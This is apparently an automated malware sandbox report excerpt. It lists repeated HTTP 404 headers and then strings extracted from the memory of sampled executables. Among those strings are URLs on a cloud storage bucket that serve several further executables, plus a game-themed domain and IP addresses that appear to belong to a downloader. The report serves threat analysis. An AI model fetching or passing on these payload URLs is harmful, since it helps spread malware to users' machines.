Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5RcbFfOZteEjBVXBrsolKfAF_E9sp8LwDKRtlP_iVhfkNONAR1saDeVTWC88gZ3fgU48N8QMAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-oeGq8V6DFoWm_cgaAphabQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6sVPP9SHvOjDiDobXgdL_FJQ36-ixZsgPTjHNZ4SyWQgWkpmII-0JndsdWgUxSTQuDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:24 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Yl2KVgDC770X394Ax31nuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6N3Gcxlwny3kCHu__uUfdIWQpeZE8juUW7NZ3jvnBBF5zGz66MWXOYTEHonfhYosvZHN1YfJcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:25 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-WpR8LSsy72rJt-Js4nu_0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5KMMytuSDh9TFwaLHDhkIWhriexxJfw4fDP9-Rl0LSSLK-xk6LC3MOhA1VlXaEwpevkY54_JMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-UCNPWY3768Npa7_7s-6m4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6exoiZkO6OCoOJPDqSnBv085DSSO9pEFKDYljeqDh5KnhpaSUNQgCyCaPA0uE2MMk3Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:26 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-rCt_MhuJ0y9ybZMmacli_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ZLfCWi-onP2S1f9yxRn_8dkloH1yPlDKd-UF2b6xlgmQ05tibs8AxwxC2SzODVCMwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:26 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lsxVeXbtKiunkUvYDBp9Yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5EFQF7JSKTSgk06sdpZXoVFyEduUBz3uqwaGxCNN8JhW6I28j6jlhDvlAxwKWirrc0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-uLrI_kRWmhrIwsorsaxJdA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC65UY1ypRyJybQ7ndQC4Qol7Uv2md6WJwE0jDqM54Ut1uA_SYE2lDzeC7G_LN2BM0LzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Kw3UVRBEGtiCO-gUvw0A_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XDjWBoyweQYft_iWlVOqwDqcIQyiU7tfW4XxAAurB0mpey8yIE1nsoL4BaHasdyjuBqdFlOoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:30 GMTContent-Security-Policy: script-src 'report-sample' 'nonce--29FkSp07Do703oBC3HhNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC548k_cr45oOQ1Q3q4-nYyNfZNYPsXu80zP2KNr27ioRVaJ6cocgeWF8DrpvDEXPk4XContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:30 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-iC6Ommzx7qzV8LHrDsecaQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7PONV3QRZiUrjtJfsb05-PE3zoc0h5UvOZlM8G-K8p5FwcSTJaaT_aHSqCEMipW5BuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:33 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-1u8sE_7YqDgnqViXgskC8A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5cjS9dp81dVpTuVrQjXR_pTsYkR8pfC3fSfpMfmRkIF89yOgzsdfTqn5pCofe1XIXOContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:33 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-DUCe4WId-Hh8omZ999LFeA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5d-1IiIqH-FA0KRxtIiaTWDgDjPygdmTAmRs-iqSMHJISHJrokU0hp4B5VMsfSTIzVr86BtdsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:34 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wHS9BfTfXJJL5WN2_oVoyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC69n6HhZI7u-Ejf991JIePAuO2pK3HE0PJFy38Q0b4ew0XyHWvs9GrNObI78kRSZ3eoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:22:34 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-nNwpn6fmKA6BmxoZuQZmVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5u9uK2I7Yy3Wa6zxyDkooVd2LiQkl4na3FqWOwdGK6J27_m7qoIhzR6ACsjwotePSNContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:23:33 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-uaBixPSG-ZSP5s9zbyX9pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ._cache_1.exe, ._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, ._cache_1.exe, 00000004.00000003.1536576242.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000002.1542807075.00000000006BE000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000002.1543154013.00000000006DB000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000003.1536335641.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, ._cache_1.exe, 00000004.00000003.1536799402.00000000006D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://LineageTheBloodPledge.com/.
Source: ._cache_1.exe, 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://LineageTheBloodPledge.com/.lin.binUpdError.txtrestime.dattime.dat210.81.242.130202.85.231.112
Source: file.exe, 00000000.00000003.1548262850.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.
Source: file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/
Source: file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exe
Source: file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeB7C:
Source: file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeG__
Source: file.exe, 00000000.00000003.1482793822.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeLMEMpx/w
Source: file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exeOOC:
Source: file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exePEz
Source: file.exe, 00000000.00000003.1482825479.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/1.exetO
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe
Source: file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe8O
Source: file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exeFHg
Source: file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exetO
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/2.exe~
Source: file.exe, 00000000.00000003.1586492929.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/3.exe
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1548262850.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1588506794.0000000000763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exe1
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeI
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/4.exeh
Source: file.exe, 00000000.00000003.1586492929.0000000000763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exe#
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeJ
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/270/wic.exeX
Source: file.exe, 00000000.00000002.1590381953.00000000007C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1586492929.00000000007C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/3
Source: file.exe, 00000000.00000003.1482793822.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bruplong.oss-accelerate.aliyuncs.com/I
